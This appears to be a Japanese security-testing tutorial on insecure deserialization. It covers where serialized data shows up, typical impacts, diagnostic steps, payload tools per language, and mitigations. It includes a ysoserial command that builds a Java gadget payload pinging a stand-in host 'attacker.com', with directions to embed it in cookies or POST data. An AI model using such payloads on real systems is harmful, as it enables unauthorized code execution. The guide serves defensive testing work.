Hello there, ('ω')ノ
🎯 1. Insecure Deserializationとは?
デシリアライズ(逆シリアライズ)とは、保存や送信のために一度バイト列や文字列に変換されたデータを、元のオブジェクトに戻す処理です。
✴️ Insecure Deserializationは、攻撃者が細工したシリアライズデータをサーバが無条件に復元してしまうことで、
任意コード実行や認証バイパスなどが可能になる脆弱性です。
🧭 2. よく見られる機能・画面
機能・画面 |
見込みのある挙動 |
コメント |
Cookie |
謎の長い文字列が入っている(Base64っぽい) |
認証情報や状態を保持している |
Hiddenパラメータ |
POSTの中に見慣れない形式のデータ |
オブジェクトをHTMLで保持 |
APIリクエスト |
JSON以外の形式(Java序列、Pickle、PHP) |
特に Content-Type: application/x-java-serialized-object |
JWT(JSON Web Token) |
署名がない / 変更可能 |
デシリアライズ脆弱性と同時に発生することあり |
🔥 3. 典型的な被害内容
攻撃例 |
内容 |
🧨 任意コード実行(RCE) |
細工したオブジェクトに悪意あるメソッドが含まれる |
🔓 ロジック改変 |
ロールを admin に書き換え |
🕵️♂️ 情報漏洩 |
オブジェクト内部構造が漏れる |
⛔ サーバクラッシュ |
不正データで例外や無限ループを発生させる |
🧪 4. 基本診断手順
Step 1:対象データの観察
- Cookie, パラメータ, フォーム, リクエストボディを確認
- 不自然に長く、文字列エンコードされている(Base64, hex など)
rO0...
, T...
で始まるJavaオブジェクトなどを特定
Step 2:復号・デコードしてみる
- Base64でデコードして意味のあるバイナリ・構造を探す
ツール:
base64 -d
- CyberChef(ブラウザ上でさまざまなエンコードを解析)
Step 3:改ざんして送り返す
- パラメータやオブジェクトの中の値を改変し、再送
- レスポンスや動作に変化があれば脆弱性の可能性
🔧 5. 攻撃用ペイロード例(言語別)
言語 |
ツール / ペイロード例 |
Java |
ysoserial ツール(例:CommonsCollections1 ) |
PHP |
__wakeup() や __destruct() にRCE |
Python |
pickle.loads() による任意コード |
.NET |
BinaryFormatter, SoapFormatter |
📌 Javaの場合の例(Burpで使用)
java -jar ysoserial.jar CommonsCollections1 'ping attacker.com' > payload.bin
payload.bin
をBase64化してCookieやPOSTに埋め込み
- 送信後、攻撃者のサーバにリクエストが来れば成功
🧰 6. 診断ツール
ツール名 |
用途 |
Burp Suite |
改変・再送信に便利、拡張で自動化可能 |
ysoserial / ysoserial.net |
Java/.NET用のRCEペイロード生成ツール |
SerialKiller |
Javaオブジェクトを逆変換・検査 |
phpggc |
PHP用ペイロード生成ツール |
Hackvertor(Burp拡張) |
Base64 / hex / Unicode変換補助 |
✅ 7. 診断成功のサイン
状況 |
意味 |
改変後にアプリの挙動が変わる |
オブジェクト内容が処理されている証拠 |
特定のコードや文字列が実行・出力される |
コードインジェクション成功の可能性 |
OOBリクエスト(pingなど)が飛ぶ |
任意コード実行成功の兆候 |
🔐 8. 安全な実装の確認ポイント
対策 |
説明 |
信頼できない入力を絶対にデシリアライズしない |
原則中の原則 |
オブジェクトをバリデーション・制限付きで扱う |
allowlist方式推奨 |
セキュアなデシリアライザ使用(例:JacksonのSafeモード) |
|
シリアライズされた値に署名やMACを付与する |
改ざん防止に有効(例:HMAC) |
🧠 見つけやすいヒント
- Cookieやフォームに「意味のわからない長い文字列」
rO0AB...
や O:10:"UserObject"
のような形式
- JSONではない POST データ(
application/octet-stream
, serialized-object
, など)
🎯 補足:誤解しやすいポイント
NG認識 |
実際は… |
シリアライズは内部処理なので安全 |
いいえ、ユーザ入力が含まれていれば危険です |
JSONは大丈夫 |
基本的には安全ですが、eval() などで使っていれば別です |
認証済みだからOK |
認証ユーザが攻撃者であることもあり得ます(特権昇格や横断) |
この脆弱性は「コード実行(RCE)に直結しやすい非常に危険なもの」です。
特にJavaやPHP環境では攻撃成功率も高く、診断対象システムにその気配があれば、徹底した確認が必要です。
Best regards, (^^ゞ